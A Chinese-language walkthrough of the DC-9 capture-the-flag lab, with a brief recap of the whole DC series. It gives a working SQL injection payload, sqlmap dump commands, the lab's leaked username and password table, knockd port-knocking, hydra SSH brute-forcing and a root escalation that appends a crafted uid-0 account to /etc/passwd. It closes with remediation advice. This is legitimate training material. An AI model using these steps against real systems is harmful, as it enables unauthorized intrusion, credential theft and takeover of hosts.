DC-9渗透测试复现
目的:
获取最高权限以及flag
过程:
信息打点--sql注入- 文件包含漏洞-Knockd开门开启ssh连接-hyjra爆破-sudo提权(文件追加)
环境:
攻击机:kali(192.168.85.137)
靶机:DC_3(192.168.85.141)
复现:
一.信息收集
nmap -sP 192.168.85.0/24
或者:
arp-scan -l
发现主机之后 继续扫描端口 发现80网页端口和22端口 但是status为被过滤的
服务器为apache 2.4.38 并没有看到cms
AWVS 扫描发现sql注入漏洞
EXP:
POST /results.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://192.168.85.141/
Cookie: PHPSESSID=bup6qprsevlk7mded0vpt3bgcf
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
Content-Length: 55
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4512.0 Safari/537.36
Host: 192.168.85.141
Connection: Keep-alive
search=-1'%20OR%203*2*1=6%20AND%20000660=000660%20--%20
二.漏洞利用
然后sqlmap一把梭
sqlmap -r 'dcp.txt' --batch --current-db
得到库名 Staff
sqlmap -r 'dcp.txt' --batch -D Staff -T Users -C 'UserID,Username,Password' --dump
得到admin的账号密码
1 | admin | 856f5de590ef37314e7c3bdf6f8a66dc
解密得到 admin /transorbital1
ssh连接失败
登入进去 发现有个添加用户的功能 测试后发现没有什么利用的点 有一些用户泄露的信息,然后发现下面这个 这不妥妥的文件包含吗
测试发现确实存在文件读取漏洞
原来没有admin用户 怪不得ssh连不上
服务器是Apache,也找不到Apache配置文件的位置..,尝试写webshell 但不知道webshell的文件路径
但是这些账号密码又是之前信息收集的那些用户名
但是又不能ssh连接 但开启22端口
状态为 filtered 而不是open 那我们就搜一下filtered 估计是被隐藏了 搜索发现很可能是Knockd隐藏
通过Knockd隐藏SSH,让黑客看不见你的服务器 - 知乎 (zhihu.com)
cat下Knockd的配置/etc/knockd.conf
[options]
UseSyslog//用来定义日志输出位置以及文件名
[openSSH]
sequence = 7469,8475,9842//设置(开门)敲门顺序,可以自定义
seq_timeout = 25//设置超时时间
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT//开门成功后添加防火墙规则命令(打开SSH端口)
tcpflags = syn
[closeSSH]
sequence = 9842,8475,7469 //设置(关门)敲门顺序,与开门顺序相反
seq_timeout = 25
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT//关门成功后删除之前添加的防火墙规则(关闭SSH端口)
tcpflags = syn
接下来我们用nmap进行敲门
for x in 7469 8475 9842; do nmap -p $x 192.168.85.141; done
成功开启22
问题是账号密码呢 当时库里面只有admin啊 那估计就是库名的问题,我们重新看一下dbs 因为之前爆破的是current-db 所以估计有遗漏
重新扫描发现存在user库 这就是前期信息收集没收全的后果
得到账号密码
sqlmap -u "http://192.168.85.141/results.php" -data "search=1" -D users -T UserDetails -dump
| 1 | Moe | 3kfs86sfd | 2019-12-29 16:58:26 | marym | Mary |
| 2 | Dooley | 468sfdfsd2 | 2019-12-29 16:58:26 | julied | Julie |
| 3 | Flintstone | 4sfd87sfd1 | 2019-12-29 16:58:26 | fredf | Fred |
| 4 | Rubble | RocksOff | 2019-12-29 16:58:26 | barneyr | Barney |
| 5 | Cat | TC&TheBoyz | 2019-12-29 16:58:26 | tomc | Tom |
| 6 | Mouse | B8m#48sd | 2019-12-29 16:58:26 | jerrym | Jerry |
| 7 | Flintstone | Pebbles | 2019-12-29 16:58:26 | wilmaf | Wilma |
| 8 | Rubble | BamBam01 | 2019-12-29 16:58:26 | bettyr | Betty |
| 9 | Bing | UrAG0D! | 2019-12-29 16:58:26 | chandlerb | Chandler |
| 10 | Tribbiani | Passw0rd | 2019-12-29 16:58:26 | joeyt | Joey |
| 11 | Green | yN72#dsd | 2019-12-29 16:58:26 | rachelg | Rachel |
| 12 | Geller | ILoveRachel | 2019-12-29 16:58:26 | rossg | Ross |
| 13 | Geller | 3248dsds7s | 2019-12-29 16:58:26 | monicag | Monica |
| 14 | Buffay | smellycats | 2019-12-29 16:58:26 | phoebeb | Phoebe |
| 15 | McScoots | YR3BVxxxw87 | 2019-12-29 16:58:26 | scoots | Scooter |
| 16 | Trump | Ilovepeepee | 2019-12-29 16:58:26 | janitor | Donald |
| 17 | Morrison | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2 | Scott
账号密码这么多 那不可能一个个测呗 直接上hydra了,账号保存为username.txt 密码保存为password.txt
hydra -L username.txt -P password.txt 192.168.85.141 ssh -t 30
得到三组账号密码
chandlerb UrAG0D!
joeyt Passw0rd
janitor Ilovepeepee
前面两个经过测试没有有用的信息 我们直接看第三个
看看有木有什么能够提权的函数
linux版本为4.9那chfn和chsh提权就使用不了了
尝试sudo -l 也不行 那估计得换用户了
继续收集信息
看一下隐藏文件 然后发现一个secrets 进入访问得到一些新的密码 我们加入到之前的password.txt 继续进行hydra工具进爆破
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
最终得到 新的用户密码fredf : B4-Tru3-001
我们进行登入
看下sudo提权
没啥利用的啊看起来 看了test全是乱码
回到上级目录继续查看 发现py文件
i
import sys
if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r")
output = (f.read())
f = open(sys.argv[2], "a")
f.write(output)
f.close()
这段代码根据命令行参数,读取一个文件的内容,并将其追加到另一个文件中。如果命令行参数不符合要求,将打印出用法信息。
三.提权
按照/etc/passwd的格式,写一个root权限账号出来,放在/tmp/wenda 里,再脚本追加写入 /etc/passwd 里。 所以我们现在就需要构造一个拥有root权限的用户,并且在/etc/passwd文件中储存
使用openssl工具创建一个本地的加密用户,命令
openssl passwd -1 -salt admin admin
$1$admin$1kgWpnZpUx.vTroWPXPIB0
然后把它按照passwd的格式送到 /tmp/wenda
echo 'admin:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0::/root:/bin/bash' >> /tmp/wenda
使用sudo命令执行test文件将/tmp/test1的内容写入到/etc/passwd文件中
sudo ./test /tmp/wenda /etc/passwd
然后我们切换成admin 用户就变成root权限获得flag
修复:
1.关闭22ssh连接端口
2.利用参数化的查询阻止 SQL 注入,应用程序开发人员应避免通过转义或删除特殊字符(攻击者可能会利用来绕过此类保护的一些编码技巧)来清理输入内容,并坚持使用参数化查询,以避免出现 SQL 注入漏洞
3.关闭LFI等防止文件包含漏洞
4.取消能够提取的shell命令
DC-系列总结:
差不多10天的时间终于把DC系列刷完 ,收获还是蛮多的 渗透流程的话 前期信息收集太重要了,这个方面可以借助一些工具 像NMAP AWVS等工具或者框架识别插件都额可以 ,然后利用这些信息进行下一步的渗透,比如有没有现成的漏洞库去利用 百度 谷歌 以及kali自带的漏洞库都能去收集,发现漏洞后就是要控制对方主机了 ,然后继续收集信息 进一步提权.
下一步计划是准备进行红日的更深层的内网渗透